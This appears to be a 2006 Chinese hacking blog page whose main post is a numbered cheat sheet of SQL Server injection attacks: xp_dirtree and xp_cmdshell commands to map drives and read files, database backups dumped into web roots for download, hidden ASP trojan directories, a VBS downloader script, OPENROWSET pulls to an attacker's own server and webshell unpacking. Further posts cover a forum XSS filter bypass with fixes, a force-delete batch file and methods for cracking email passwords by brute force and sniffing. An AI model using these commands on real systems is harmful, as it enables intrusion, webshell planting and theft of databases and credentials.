;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--


在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Info**ation','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)


接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)


看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)


...


如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。


下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:
and (select depth from temp where dir='user')>=数字(数字=1、2、3...)


假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。


目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。


接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:


;create table temp1(dir nvarchar(255),depth varchar(255));--


然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Info**ation','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。


现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。


现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。


现在,我们用同样的方法,再建立第3个临时表:
;create table temp2(dir nvarchar(255),depth varchar(255));--


然后把从D盘的website下的所有目录存到temp2中,语句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Info**ation','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。


现在,我们用同样的方法判断该目录是否为根目录:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。



用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www
然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。


下载完数据库后要记得把三个临时表Drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。


21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行:
c:\>c****** C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll"


c****** C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:windowssystem32idq.dll" "C:windowssystem32inetsrvhttpext.dll" "C:windowssystem32inetsrvhttpodbc.dll" "C:windowssystem32inetsrvssinc.dll" "C:windowssystem32msw3prt.dll" "C:windowssystem32inetsrvasp.dll"


查看是否成功:
c:\>c****** C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps


Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
inprocessisapiapps : (LIST) (6 Items)
"C:WINNTsystem32idq.dll"
"C:WINNTsystem32inetsrvhttpext.dll"
"C:WINNTsystem32inetsrvhttpodbc.dll"
"C:WINNTsystem32inetsrvssinc.dll"
"C:WINNTsystem32msw3prt.dll"
"c:winntsystem32inetsrvasp.dll"


22、如何隐藏ASP木马:
建立非标准目录:mkdir images..\
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问ASP木马:
http://ip/images../news.asp?action=login
如何删除非标准目录:**dir images..\ /s


23、去掉tenlnet的ntlm认证:
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—


24、用echo写入文件下载脚本iget.vbs:
(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs


(2)c:\>c****** iget.vbs
http://127.0.0.1/asp/dbm6.asp dbm6.asp



25、手工建立IIS隐藏目录的方法:
 查看本地虚拟目录列表:c******.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
 新建一个kiss目录:mkdir c:\asp\kiss
 建立kiss虚拟目录:c******.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:aspkiss"
 为kiss目录加执行和写权限:
c******.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
c******.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
 ?:C****** c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
 访问:
http://127.0.0.1/kiss/test.asp


26、使用openrowset()连回本地做测试:
Select a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'Select * FROM [dvbbs].[dbo].[dv_admin]') AS a


Select * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'Select * FROM [dvbbs].[dbo].[dv_admin]')


27、获得主机名:
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername


28、获得数据库用户名:
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user


29、普通用户获得WEBSHELL的方法之二:
 打包:
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
解包,可以用于得到webshell:
 EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
 读任意文件内容,要求有master的dbo权限:
EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp'


30、sa 权限下已知web路径直接备份数据库到web路径下


http://www.XXXX.com/FullStory.asp?id=1;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。


 遍历系统的目录结构,分析结果并发现WEB虚拟目录,先创建一个临时表:temp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
  接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
 我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录(文件夹)列表
 如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。


31、一些sql中的扩展存储的总结:
xp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia
xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups
xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn
xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains
xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule'
xp_te**inate_process 用pid来停止某个执行中的程序 xp_te**inate_process 123
dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:\'


32、
USE MASTER
GO
Create proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
end
/* Create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
exec(@postcommand)
return @retval
GO



/*
1。获得所有的存储过程的脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2。获得所有的视图的脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2


EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4
*/


33、DB_OWNER权限下的数据库备份方法
用openrowset吧。反连到自己的数据库机器,~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库,在查询分析那里执行
insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;','select * from 你建立的表) select * from 对方的表—
要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id>100
这样来弄吧
要是和WEB同台的话,直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大,超过2G的话SQL就超时了
如果是SA权限可以利用下面的两个ASP程序来备份数据库:


sqlbackup1.asp
<HTML>
<HEAD>
<TITLE>SQL Server 数据库的备份与恢复</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<fo** method="post" name=myfo**>
选择操作:<INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>备份</label> 
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢复</label>
<br>数据库名:<INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>">
<br>文件路径:<INPUT TYPE="text" NAME="bak_file" value="c:1.exe">(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)<br>
<input type="submit" value="确定">
</fo**>
<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql服务器
sqlname = "sa" '用户名
sqlpassword = "数据库密码" '密码
sqlLoginTimeout = 15 '登陆超时
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.de******ion&"</font>"
end if
Response.write "<font color=green>备份成功!</font>"
elseif act = "restore" then
'恢复时要在没有使用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.de******ion&"</font>"
end if
rest.SQLRestore srv


Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>没有选择操作</font>"
end if
end if
%>
</BODY>
</HTML>


sqlbackup2.asp
<%@LANGUAGE="VBS C R I P T" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns="
http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>采飞扬ASP备份MSSQL数据库程序 V1.0--QQ:79998575</title>
</head>
<style>
BODY { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; scrollbar-face-color:#E4E4F3; scrollbar-highlight-color:#FFFFFF; scrollbar-3dlight-color:#E4E4F3; scrollbar-darkshadow-color:#9C9CD3; scrollbar-shadow-color:#E4E4F3; scrollbar-arrow-color:#4444B3; scrollbar-track-color:#EFEFEF;}TABLE { FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BORDER-COLLAPSE: collapse; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: none; border-bottom-style: none; border-left-style: solid; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}.tr { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; text-align: center;}.td { font-family: "Courier New"; font-size: 9pt; background-color: #f9f9fd;}.warningColor { font-family: "Courier New"; font-size: 9pt; color: #ff0000;}input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}textarea { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; BORDER-RIGHT-WIDTH: 1px; color: #000000;}.liuyes {
background-color: #CCCCFF;
}
A:link { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none;}tr { font-family: "Courier New"; font-size: 9pt; line-height: 18px;}td { font-family: "Courier New"; font-size: 9pt; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}.trHead { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; line-height: 3px;}.inputLogin { font-family: "Courier New"; font-size: 9pt; border: 1px solid #d8d8f0; background-color: #f9f9fd; vertical-align: bottom;}</style>
<body>
<fo** method="post" name="myfo**" action="?action=backupdatabase">
<table width="686" border="1" align="center">
<tr>
<td width="613" height="30" align="center" bgcolor="#330066"><font color="#FFFFFF">采飞扬ASP备份MSSQL数据库程序 V1.0 </font></td>
</tr>
<tr>
<td>选择操作:
<input type="radio" name="act" id="act_backup"value="backup" />
<label for=act_backup>备份</label>
<input type="radio" name="act" id="act_restore" value="restore" />
<label for=act_restore>恢复</label></td>
</tr>
<tr>
<td><label>SQL服务器:
<input type="text" name="sqlserver" value="localhost" />
</label></td>
</tr>
<tr>
<td><label>用户名:
<input name="sqlname" type="text" value="sa" />
密 码:
<input type="text" name="sqlpassword" />
</label></td>
</tr>
<tr>
<td><label>数据库名:
<input type="text" name="databasename" value="<%=request("databasename")%>" />
</label></td>
</tr>
<tr>
<td>文件路径:
<input name="bak_file" type="text" value="<% =server.MapPath("")&""&"liuyes.bak"%>" size="60" />
(备份或恢复的文件路径)</td>
</tr>
<tr>
<td><% Response.write "本文件绝对路径:" %>
<font color="#FF0000">
<% =server.mappath(Request.ServerVariables("S C R I P T_NAME")) %>
</font></td>
</tr>
<tr>
<td><input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="确 定" />
<input name="Submit" type="reset" class="liuyes" size="10" value="重 置" /></td>
</tr>
</table>
</fo**>
<table width="686" border="1" align="center">
<tr>
<td>提示信息:<%
if request("action")="" then
response.write "<font color=#ff0000>不用我多说什么了吧!</font>"
end if
'SQL Server 数据库的备份与恢复!
if request("action")="backupdatabase" Then
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = trim(request("sqlserver"))
sqlname = trim(request("sqlname"))
sqlpassword =trim(request("sqlpassword"))
sqlLoginTimeout = 15
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "<font color=#ff0000>没有输入数据库名称!</font>"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Action = 0
bak.Initialize = 1
'bak.Replace = True
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.de******ion&"</font>"
end if
Response.write "<font color=green>备份成功!</font>"
elseif act="restore" then
'恢复时要在没有使用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.de******ion&"</font>"
end if
rest.SQLRestore srv
Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>请选择备份或恢复!</font>"
end if
end if
end if
%></td>
</tr>
</table>
</body>
</html>

posted @ 2006-10-09 18:37 stone 阅读(613) | 评论 (1) | 编辑 收藏
 
动网跨站的原因
动网跨站的原因

今天简要说一下跨站形成的原因。

一、BOKE跨站

在"CheckInput.asp"中,自定义函数"FormatCode()",过滤不严。
Public Function FormatCode(StrData) '提交格式化数据
............
Re.Pattern = "<(\w*) class\s*=\s*([^>|\s]*)([^>]*)>" '以下是正则表达式,用于过滤提交数据
Str = re.Replace(Str,"<$1$3>")
Re.Pattern = "<(\w*) style\s*=\s*([^>|\s]*)([^>]*)>"
Str = re.Replace(Str,"<$1$3>")
..............
FormatCode = Str
End Function

其中过滤的是 < style=****>,而非 <style=****>,导致跨站代码可以写入BOKE文章及评论中。

在"book.asp"中,而显示文章及评论内容时,如果出现"Dv_FilterJS()"中定义的以下字符才会用"Server.HtmlEncode"进行过滤:

(|function|meta|window\.|script|js:|about:|file:|Document\.|vbs:|frame|cookie|on(finish|mouse|Exit|error|click|key|load|focus|Blur))

很遗憾的是:"style"不在其中,所以跨站便出现了。

修补方法:

1、修改"FormatCode()"为以下内容,

Public Function FormatCode(StrData) 'JMDCW 2006-06-21
............
Re.Pattern ="<(\w*)class[\s|\w]*=\s*([^>|\s]*)([^>]*)>"
Str = re.Replace(Str,"<$1$3>")
Re.Pattern ="<(\w*)style[\s|\w]*=\s*([^>|\s]*)([^>]*)>"
Str = re.Replace(Str,"<$1$3>")
..............
FormatCode = Str
End Function


2、在"Dv_FilterJS()"中的过滤代码中加入:style和class。

(|function|meta|window\.|script|js:|about:|file:|Document\.|vbs:|frame|cookie|on(finish|mouse|Exit|error|click|key|load|focus|Blur|style|class))

二、头像跨站

注:详细原理及利用 请阅读《黑客X档案》 2006年第8期。

动网mymodify.asp对提交的自定义头像内容过滤不严,导致头像中可以写入跨站代码。
动网头像分myface(内置头像)和face(自定义头像),如果myface的提交值为空,就使用face的提交值。采用如下过滤方式:
face=Dv_FilterJS(Replace(face,"'",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
face=Left(face,200)
其中"Dv_FilterJS"的部分内容如下:
Function Dv_FilterJS(v)
..............
re.Pattern="(script)"
t=re.Replace(t,"<I>script</I>") '将字符script替换为<I>script</I>
re.Pattern="(js:)"
t=re.Replace(t,"<I>js:</I>")
...............
End Function

这里,动网犯了一个逻辑错误,在代码未检测完之前就进行了过滤,如果提交的是: javasc|ript,或是 javasc^ript ,就能绕过动网的过滤。

修补方法:
对replace采取如下过滤方式。

face=Dv_FilterJS(Replace(face,"'","''")) 'JMDCW 2006-06-22
face=Replace(face,"\","/")
face=Replace(face,"^","^")
face=Replace(face,"#","#")
face=Replace(face,"%","%")
face=Replace(face,"|","|")
face=Replace(face,"..","..")
face=Replace(face," "," ") 'TAB值

posted @ 2006-10-09 17:20 stone 阅读(575) | 评论 (0) | 编辑 收藏
 
30秒清除Windows系统所有
@echo off

  echo 正在清除系统**文件,请稍等......

  del /f /s /q %systemdrive%\*.tmp

  del /f /s /q %systemdrive%\*._mp

  del /f /s /q %systemdrive%\*.log

  del /f /s /q %systemdrive%\*.gid

  del /f /s /q %systemdrive%\*.chk

  del /f /s /q %systemdrive%\*.old

  del /f /s /q %systemdrive%\recycled\*.*

  del /f /s /q %windir%\*.bak

  del /f /s /q %windir%\prefetch\*.*

  rd /s /q %windir%\temp & md %windir%\temp

  del /f /q %userprofile%\cookies\*.*

  del /f /q %userprofile%\recent\*.*

  del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

  del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

  del /f /s /q "%userprofile%\recent\*.*"

  echo 清除系统LJ完成!

  echo. & pause
posted @ 2006-10-09 17:14 stone 阅读(547) | 评论 (0) | 编辑 收藏
 
破解Email账号常用的三种方法
电子邮件并不是安全的,在邮件的发送、传送和接收整个过程中的每个环节都可能存在薄弱环节,恶意用户如果利用其漏洞,就能够轻易的破解出账号,获得邮件内容。

  一、利用邮件服务器操作系统的漏洞

  邮件服务器软件是运行在特定的操作系统上的,如Linux、Windows NT/2000等。这些操作系统的默认安装和配置都是不安全的,黑客可以轻易入侵系统,获得所有用户名和密码。

  1 Windows服务器

  如果是基于Windows2000的Exchange Mail Server,系统本身未做任何安全配置,开放了若干服务。入侵者可以利用终端服务器结合中文输入法漏洞或者IIS的Buffer Overflow程序获得Administrator权限,用pwdump3导出Hash过的密码,再用L0pht挂接字典或者Brute Force就能破解出用户密码。根据经验,如果密码简单,几分钟之内就能破解出,长度在8位及以下的用Brute Force方式在一天内就能解出。

  2 Linux/UNIX服务器

  UNIX类系统一般采用Sendmail作为邮件系统,在获得了系统的控制权之后,用John等软件就能从/etc/passwd或者/etc/shadow中破解出密码。如果采用了数据库方式来保存用户信息和密码,也是很容易被导出。

  二、利用邮件服务器软件本身的漏洞

  最常见的邮件服务器程序有Sendmail,Qmail等,在不同程度在都存在安全缺陷。以Sendmail为例,再以前的老版本中,telnet到25端口,输入wiz,然后接着输入shell,就能获得一个rootshell,还有debug命令,也能获得root权限。Qmail相对Sendmail安全,但是Qpoper存在Buffer Overflow缺陷,能够远程得到rootshell,进而控制系统。

  即使邮件服务器是安全的,但是入侵者还能获得更多的信息,比如用户名。telnet到25端口,输入expn tom或者vrfy tom就能查询系统是否有tom用户。最新版本的Sendmail虽然禁用了这两个命令,但是可以通过伪造发信人然后用rcpt to来判断该用户是否存在。

  得到了用户名,可以telnet到110端口,尝试简单密码的连接,或者套用字典破解。

  所以,必须禁止非本域的中继利用(relay),或者采用现在很多ISP都采用的给SMTP加上发信认证的模块,这样能够增强邮件服务器的安全。

  除了POP3方式收信之外,比较流行的是在WEB界面上处理邮件。这种方式也不无弱点,一般是通过CGI来接受用户传递的表单FORM参数,包括username和password,如果正确,就可以进入处理邮件的页面。破解已知用户的密码,有很多套用字典或者暴力组合的软件可用,比较著名的是小榕的《溯雪》,在密码简单的情况下,很快就有结果。

  WEB邮件系统都有“忘记密码”的选项,如果能破解寄回密码的另外一个邮箱或者猜出提示问题的答案,也能成功。

  三、在邮件的传输过程中窃听

  在网络中安装Sniffer,指定监听往外部服务器110端口发送的数据包,从收集下来的信息中查看user和pass后的字符串就能看到用户名和相应的密码。

posted @ 2006-10-09 17:04 stone 阅读(582) | 评论 (0) | 编辑 收藏
 
仅列出标题
共4页: 1 2 3 4 
随笔:32 文章:7 评论:29 引用:0
<2025年12月>
日一二三四五六
30123456
78910111213
14151617181920
21222324252627
28293031123
45678910

公告

当发现不再是我心中最美丽 当心情慢慢的趋于平静 当希望自己会有更多的快乐... 才发 现这一刻来得并不容易... 或许我不能把未来的路看的很清楚 只想选择属于自己快乐的路... 或许我不能把爱看的很清楚 只想把快乐牢牢的握在手中... 如果未来的路 会有很多快乐... 快乐需要去争取 也需要珍惜...
QQ

常用链接

  • 我的随笔
  • 我的评论
  • 我参与的随笔

留言簿(6)

  • 给我留言
  • 查看公开留言
  • 查看私人留言

随笔分类(32)

  • 入侵检测(5) (rss)
  • 学习笔记(17) (rss)
  • 生活笔记(3) (rss)
  • 黑软交流(7) (rss)

文章档案(7)

  • 2006年10月 (7)

相册

  • 工具
  • 彼暗...

收藏夹(5)

  • 一些看了有感触的东西(2) (rss)
  • 技术档案(3) (rss)

友情叶子

  • Sumer's bolg
  • 问心'bolg

在线服务

  • Alexa排名查询
  • IP查询
  • 中国站长同盟
  • 卡巴免费查毒
  • 在线MD5破解
  • 在线查文件类型
  • 在线端口扫描
  • 在线网页编辑器
  • 在线翻译
  • 文档在线编辑器
  • 系统安全测试
  • 网页版photoshop

学习基地

  • 黑客派对
  • E.S.T
  • Script.Security.Team
  • 中国红客
  • 波波下载
  • 黑客X档案
  • 黑客基地
  • 黑客小组
  • 黑客手册

最新随笔

  • 1. CISCO协议总结大全
  • 2. SQL Server SA权限总结经典技术
  • 3. SA权限仅需xp_regwrite即可有dos shell (转)
  • 4. 欺骗?.快乐...?
  • 5. 木马专杀
  • 6. 各类技术认证
  • 7. 简单的命令控制同一局域网内的电脑
  • 8. DOS下一些很有用的命令
  • 9. 一些有用的ASP注入相关的命令
  • 10. 一个网马源码,把其中木马地址填成你自己的就可以了.

搜索

  •  

最新随笔

  • 1. CISCO协议总结大全
  • 2. SQL Server SA权限总结经典技术
  • 3. SA权限仅需xp_regwrite即可有dos shell (转)
  • 4. 欺骗?.快乐...?
  • 5. 木马专杀
  • 6. 各类技术认证
  • 7. 简单的命令控制同一局域网内的电脑
  • 8. DOS下一些很有用的命令
  • 9. 一些有用的ASP注入相关的命令
  • 10. 一个网马源码,把其中木马地址填成你自己的就可以了.

最新评论

  • 1. re: -netsh命令详解
  • 评论内容较长,点击标题查看
  • --TTT
  • 2. re: 破解工具大全--190个
  • xie xie
  • --1
  • 3. re: NBSI2破解版
  • 不能下载!!!
  • --寻欢
